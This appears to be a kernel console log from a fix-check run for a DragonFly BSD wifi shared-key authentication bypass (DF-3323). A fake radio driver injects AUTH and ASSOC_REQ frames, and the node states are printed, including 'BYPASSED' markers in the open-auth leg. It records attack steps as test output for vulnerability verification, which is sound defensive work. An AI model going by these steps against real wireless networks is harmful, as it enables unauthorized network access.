== doubly-patched guest: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #1: Thu Sep 10 21:29:25 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
wlan0
== attack: one auth REQUEST, then ASSOC_REQ (baseline: associated)
kern.fw4_attack: 0 -> 0
kern.fw4_attack: 0 -> 0
kern.fw4_state: 0
== regression: open-authmode vap, legit open auth -> assoc
wlan0
kern.fw4_attack: 0 -> 0
kern.fw4_attack: 0 -> 0
kern.fw4_state: 0
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4.attack=6: injecting 30-byte frame (AUTH open seq1) to wlan0
fw4[air]: AP TX AUTH seq=2 status=0 challenge_ie_len=-1 protected=0
fw4.state[current]: node 0xfffff80118726400 flags 0x20021 authmode 1 AUTHORIZED=1 associd 0x0 challenge=0   <<<< BYPASSED
fw4.attack=4: injecting 41-byte frame (ASSOC_REQ) to wlan0
fw4[air]: AP TX MGMT subtype 0x10
fw4.state[after-assoc]: node 0xfffff80118726400 flags 0x20021 authmode 1 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4.state[current]: node 0xfffff80118726400 flags 0x20021 authmode 1 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
FIXCHECK_DONE

== appended: shared-mode leg-1 console output (dmesg, doubly-patched kernel #1 21:29) ==
fw4: fake legacy wifi radio attached (fw4_0, 11bg)
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4.attack=1: injecting 30-byte frame (AUTH shared seq1) to wlan0
fw4[air]: AP TX AUTH seq=2 status=0 challenge_ie_len=128 protected=0
fw4.attack=1 done: captured challenge (len 128) off the air; AP tx seq=2 status=0
fw4.state[current]: node 0xfffff80118720400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff8008f90cf00
fw4.attack=4: injecting 41-byte frame (ASSOC_REQ) to wlan0
fw4[air]: AP TX MGMT subtype 0xc0
fw4.state[after-assoc]: node 0xfffff80118720400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff8008f90cf00
fw4.state[current]: node 0xfffff80118720400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff8008f90cf00
fw4_0: need multicast update callback

== appended: DF-3323 fixcheck on the same doubly-patched kernel (see findings/poc/DF-3323/fix.log) ==